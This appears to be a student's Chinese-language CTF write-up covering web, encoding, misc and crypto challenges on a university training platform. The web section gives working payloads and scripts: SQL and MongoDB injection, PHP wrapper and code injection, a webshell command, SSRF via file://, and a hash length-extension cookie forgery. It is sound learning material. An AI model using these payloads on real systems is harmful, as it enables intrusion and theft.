follow my dream

cumt_bxs 入门与提升

字数统计: 661阅读时长: 3 min
2019/11/03 Share

web

array

和下面两题一块放在github上了git@github.com:xzlxr/ctf_web_14.git
payload=?element[]=&pass[]=
请求头X-Forwarded-For: 127.0.0.1

easy_file_get_contents

  • ?file=data:text/plain;base64,encode.base64() #后面的base64字符是需要传入的字符串的base64编码
  • ?file=php://input [POST DATA:]BXS #POST数据
  • answer
    http://127.0.0.1/demo/14/1/?path=flag.php&user=data:text/plain;base64,QlhT
    http://127.0.0.1/demo/14/1/?path=flag.php&user=php://input
    post BXS

chang_script

  • 推荐?a=1);print_r(file('./flag.php')
  • ?a=1);print(file_get_contents('./flag.php')
  • 推荐?a=1);var_dump(file('./flag.php')
  • ?a=1);echo(file_get_contents('./flag.php')
    file file() 函数把整个文件读入一个数组中,所以要用print_r
    而file_get_contents是转换为字符串

hello_php extract变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
include "flag.php";
$b = "yuanyuan";
extract($_GET);
if(isset($a)) {
$c = trim(file_get_contents($b));
if($a == $c) {
echo $flag;
} else {
echo "Keep moving, the flag is in your ey3s!";
}
} else {
highlight_file("index.php");
}

代码大意:

变量b值为yuanyuan
通过GET方式传过来的数组转为一个名为数组名,值为数组值的变量(如果新的变量和已有变量重名,会将已有变量替换)
如果a变量存在,则将b赋值给c
若a、c相等则输出flag

payload:?a=&b=

Judge

  • 思路:利用代码快速判断对错20次。
    python代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    # -*- coding:utf-8 -*-
    import requests
    import time
    import re
    from bs4 import BeautifulSoup

    def fun():
    a=''
    bool= ['true','false']
    judge=''

    url="http://202.119.201.199:50000/"
    #设置请求头信息
    headers = {
    'Cookie':'PHPSESSID=b7a7ka097ihapjl4pugeh8aifp'
    }
    req = requests.get(url=url,headers=headers)
    req.encoding='utf-8'
    html=req.text
    #print(html)

    soup = BeautifulSoup(html,'html.parser') #文档对象

    for div in soup.find_all('div'):
    #print(div.get_text())
    a += div.get_text()
    print(a)
    cala = re.sub(r'=.*','',a)
    cala = re.sub(r' ','',cala)

    final = int(eval(cala))
    print(final)
    #print(cala)
    res = int(re.sub(r'^.*=','',a))
    print(res)
    if(final==res):
    judge=bool[0]
    else:
    judge=bool[1]

    data = {'answer':judge}
    time.sleep(1) #注意不可太快,需要延时1秒,否者不算成功
    req2 = requests.post(url,headers=headers,data=data)
    print(req2.content.decode('utf-8'))

    if __name__ == '__main__':
    for num in range(1,19):
    fun()

update me a message

hint:

  1. You may need to understand some HTTP methods.
  2. PUT me a message pwnht plz And i will tell you my secret
    Recommended Reading
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # -*- coding:utf-8 -*-
    import base64
    import requests

    url = 'http://202.119.201.199:50002/'

    res = requests.session()
    ans = res.put(url=url,data='pwnht')
    print(ans.content)
    print(base64.b64decode(ans.content))

infogate

  • 登陆:admin or '1'='1 万能密码
    预计代码:select column_name from table where user='$username' and password='$password'
  • upload:
    此题上传已经简化
    只需文件后缀名为php便可拿到flag
    address:Uploads/XXXX.php
    但正常上传PHP Webshel
    一句话木马: 接下来可以使用菜刀等等工具也可直接`?cmd=system(“cat /flag”);

easy php serialize

  • 简单的反序列
  • file_get_contents()绕过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

    <?php
    class T {
    public $id;
    public $content;

    function __destruct() {
    global $flag;
    if (($this->content !== $this->id) &&
    (file_get_contents($this->content) === $this->id))
    echo $flag;
    }
    }

    $o = new T();
    $o->id='xz';
    $o->content='php://input';
    echo serialize($o);
    ?>

    payload
1
2
3
4
5
6
7
8
# -*- coding:utf-8 -*-
import requests

url='http://202.119.201.199:45000/?o=[serialize data] '
req =requests.post(url,data='xz')
req.encoding='utf-8'
html=req.text
print(html)

easy ssrf

php curl_init()

注意strstr与stristr这两个函数的区别
strstr 区分大小写
stristr 不区分大小写


payload : url=FILE:///flag

git commit

…丢人了 git都不会,先让我补补知识点

easy injection

MongoDB教程
有一说一讨厌直接那些直接抄flag。。。 之前都不知道MongoDB注入
大致代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!empty($_GET['u_id']))
{
$m = new MongoClient();
$db = $m->security;
$collection = $db-<users;
$qry = array("id" => $GET['u_id']);
$cursor = $collection->find($qry);
foreach($cursor as $document)
{
echo "<br>";
echo "Username: ".$document["username"]."<br>";
echo "Password: ".$document["password"]."<br>";
echo "<br>";
}
}
?>

补充知识点:

< <= > >= !=
$lt $lte $gt $gte $ne

所以此题
举例 ?u_id[$ne]=2
传入后MongoDB查询语句为
$qry = array("id" => array("$ne"=>2))
所以,结果就是MongoDB返回了除了id=2的其他所有数据。

故payload ?uname[$ne]=test&pwd[$ne]=test

easy integer overflow

网上有writeup
recommendation

国王等一下,让我打完这局昆特牌。
巨龙,到你出牌了。

此题正常的解法是整数溢出漏洞
即在买母鸡的时候value = -1900000000000000000 时候,则会发生大整数溢出,并使得自己的攻击力溢出,而后挑战恶龙即可。
学长给的解法是使用脚本暂时没法用?

前提:
pip3 install websocket
pip3 install websocket-client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import websocket
url = 'ws://202.119.201.199:45003/ws'
def exp(n):
ws = websocket.create_connection(url)
print(ws.recv())
ws.send('0')
print(ws.recv())
print(ws.recv())
ws.send('0')
print(ws.recv())
print(ws.recv())
ws.send('0')
print(ws.recv())
print(str(n))
ws.send(str(n))
print(ws.recv())
print(ws.recv())
ws.send('2')
print(ws.recv())
ws.send('0')
print(ws.recv())
print(ws.recv())
print(ws.recv())
ws.send('2')
print(ws.recv())
print(ws.recv())
exp(int((2**64 - 1) // 2))

源代码

为什么我感觉这题挂了?
flag{youfindme23333333333}

colorsnack

这题。。。。让我一度放弃javascrip
啃啃啃啃,欲速则不达;
重要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (snake.body[i].line == food.ran.line && snake.body[i].col == food.ran.col) {
console.log('eat'); //在console中return eat
snake.addBody();snake.addBody();snake.addBody();snake.addBody();snake.addBody();snake.addBody();
food.empty();
food.getPoint();
/////////score,这段大意是访问getScore.php,然后根据状态不同来回显:1.addScore;2.弹窗信息加游戏开始
xhr('./getScore.php',function(e){
var r = JSON.parse(e);
if(r.state == 200)
game.addScore(r.score);
else{
alert(r.msg);
game.start()
}
})
//game.addScore();
}

从答案入手,大意是通过定时器快速达到50分的目的

1
2
3
4
5
6
7
8
9
setInterval(function(){xhr('./getScore.php',function(e){   // 按指定周期来调用函数
var r = JSON.parse(e); //
if(r.state == 200)
game.addScore(r.score); //增加分数
else{
alert(r.msg); //弹窗信息
game.start() //
}
})},1000) //过快他会说你作弊,1000ms为周期时间

自动获取flag程序

偶然发现
学长新blog _ 一叶飘零
recommendation

此题大意是让你修改代码,以正常执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function calParam2(d){   //calParam2

d.param=decodeURIComponent(d.param); // ./param1.php {"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}
// 解码为["1","6","2","8","4","2", "8","4","9","1","10"] 但很好奇为什么和decodeURI会报错 unescape、decodeURIComponent都行
var data=JSON.parse((d.param)); //SON.parse() 方法将数据转换为 JavaScript 对象。 d.param 参数
var length=data.length;
var second=new Date().getSeconds(); //getSeconds() 方法可返回时间的秒。 该值在程序中貌似固定,但每次点击时有不一样
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j]; //parseInt() 能將輸入的字串轉成整數。 求和
}
}

// 请求flag
$.ajax({
url:'param2.php?param='+sum, //原来为'http://new.ctf.param.com/param2.php?sum='+sum,
method:'get',
dataType:'json',
success:function(s){
alert(s.f);

},
error:function(s){
alert('错了');
}
})
}

logic

hint

php的等号真是头疼,要多尝试几位token哦

  • vim临时文件 submit.php.swp与vim备份文件 submit.php~,下载源代码
  • 仔细观察网页源代码,你会发现有个邮箱chenyurui@gmail admin 应该学长,名字在哪看过
  • 在mysql中0 == 0eXXXXXXXX

验证第三点

1
2
3
4
5
6
7
8
9
10
11
12
13
use demo;
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ;

insert into users (id,username,email,token) values(1,'demo','demo@gmail',0);

select count(*) as num from users where token = 0e000000000 and email='demo@gmail';

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail'); //首先长度为10
if($token!='0') die('fail'); // token要为 0e12345678
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
// token = 0e12345678,在sql里0e12345678==0
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

payload ?emailAddress=chenyurui@gmail.com&token=0e12345678

upload3

此题基本上一个操作一个hint,真好

  • 上传cmd.jpg
  • 抓包修改后缀名为php,得到flag1、flag2

    response:可是被某奇怪的安全软件给杀了!!不要想怎么绕过安全软件你绕不过的这个安全软件非常恐怖想别的办法吧

  • 竞争上传
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #!/usr/bin/python
    # Author:0verWatch
    # coding:utf-8

    import requests

    url = 'http://202.119.201.199/challenge/web/uploadfile/upload/上传文件.phtml'

    req = requests.Session()

    while True:
    ans = req.get(url)
    web_content = ans.content

    if 'flag' in web_content:
    print web_content

    is hash safe?

    recommendation
  • 在做这题前需要将ip:202.119.201.199添加到host上,才能正常打开
  • hint:

    粗心的程序员好像有什么东西没删掉,还自以为hash很安全。。
    推测存在admin.php源代码,尝试之后发现为admin.php.swp

  • 恢复代码vim -r .\admin.php.swp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    $auth = false;
    $role = "guest";
    $salt ="xxxxxxxxxxxxx";//len:13
    if (isset($_COOKIE["role"]))
    {
    $role = $_COOKIE["role"];
    $hsh = $_COOKIE["hsh"];
    if (stripos($role,"admin")!==false&&$hsh === md5($salt.$_COOKIE["role"]))
    {
    $auth = true;
    }
    else
    {
    $auth = false;
    }
    }
    else
    {
    $s = $role;
    setcookie('role',$s);
    $hsh = md5($salt.$s);
    setcookie('hsh',$hsh);
    }
    if ($auth) {
    echo "<h3>Welcome Admin.Your flag is cumtctf{you_know_this_is_not_the_flag}";
    } else {
    echo "<h3>Only Admin can see the flag!!</h3>";
    }
    ?>

    role = admin hsh == md5(xxxxxxxxxxxxxadmin)
    hsh = c70ab9d039f166c5b5f506a5698ebaa1
    使用hashpump
    root@kali:~# hashpump
    Input Signature: c70ab9d039f166c5b5f506a5698ebaa1
    Input Data: guest
    Input Key Length: 13
    Input Data to Add: admin

  • 在wt中替换字符串
    1
    2
    3
    $a='guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin'
    $b= $a.Replace('\x','%')
    $b|Out-File E:\1.txt #guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin
  • 然后在bp里将更改role=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin; hsh=37d0fe2c401a689be9608e9f850ef3de

basic

base大礼包哦

base64 -%3D是=->base32
便可的

最基本编码

利用python3中print(a = u'')直接解码 Unicode 转义字符串
recommend

凯撒大帝保佑你

凯撒解码

猪关在栅栏里

很迷
hint:

可能有10头以内的猪关起来了
找猪圈?在这里哦
hnmhZyta.o/hqfKe:tpbcsAg5mk p/a./iKEg ps/iu1z2qNg16:dLVZy
试了很久的我傻了。。。
栅栏。。。。为什么我这不行
一天过后。
这题。。会有复制文字,注意空格
栅栏第一次是6,得到一个百度网盘🔗
再栅栏一次即可

misc

直接用foremost

签到都不算

winhex||010edit

结账拿出什么?

base64图像

鲨鱼吨吨吨

流量分析

matrix

丢人白嫖的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from PIL import Image

img = Image.open('./matrix.png')
img.convert('RGB')
s = img.load()


output = [[0 for _ in range(280)] for __ in range(280)]
for x in range(280):
for y in range(280):
output[x][y] = s[x, y]


def trans_matrix(a):
b = [[] for i in a[0]]
for i in a:
for j in range(len(i)):
b[j].append(i[j])
return b


output = trans_matrix(output)

for x in range(280):
for y in range(280):
s[x, y] = output[x][y]

img.save('./2.png')

隐写网站

forfun

在index.css上。。。。

forfuntoo

。。。在背景图片上。。。

超级简单的密码

8ujko9 wazxde 3wsdr4 r43wsd
每组中值为键盘中的中间值。。。。我服

滑稽

  • 首先需要在kali下打开文件,在/ppt/media/images3.png 发现异常cat images3.png
  • php - a
    1
    2
    $a = "password";
    echo base64_decode($a);
    后打开ppt,移动图片发现flag

这是一个镜像

记录操作
cd mnt/
mkdir U
mount mirror /mnt/U
find "flag*"
find -name "flag*"
cat ./XXXXXX/flag.txt
得base64 flag

大大大包包包

  • 使用Advanced Archive Password Recovery以flag2.zip为明文攻击flag.zip
  • 得到key(2).txt,即第二层密码
  • 后再爆破zip
    这里我用了fcrackzipfcrackzip 1.zip -l 1-10
  • 后提示给出是未加密,更改回去即可

crypto

密码菜逼来了 orz 快扶我,我还能水# -- coding: utf-8 --

CATALOG
  1. 1. web
    1. 1.1. array
    2. 1.2. easy_file_get_contents
    3. 1.3. chang_script
    4. 1.4. hello_php extract变量覆盖
    5. 1.5. Judge
    6. 1.6. update me a message
    7. 1.7. infogate
    8. 1.8. easy php serialize
    9. 1.9. easy ssrf
    10. 1.10. git commit
    11. 1.11. easy injection
    12. 1.12. easy integer overflow
    13. 1.13. 源代码
    14. 1.14. colorsnack
    15. 1.15. 自动获取flag程序
    16. 1.16. logic
    17. 1.17. upload3
    18. 1.18. is hash safe?
    19. 1.19.
  2. 2. basic
    1. 2.1. base大礼包哦
    2. 2.2. 最基本编码
    3. 2.3. 凯撒大帝保佑你
    4. 2.4. 猪关在栅栏里
  3. 3. misc
    1. 3.1.
    2. 3.2. 签到都不算
    3. 3.3. 结账拿出什么?
    4. 3.4. 鲨鱼吨吨吨
    5. 3.5. matrix
    6. 3.6. forfun
    7. 3.7. forfuntoo
    8. 3.8. 超级简单的密码
    9. 3.9. 滑稽
    10. 3.10. 这是一个镜像
    11. 3.11. 大大大包包包
  4. 4. crypto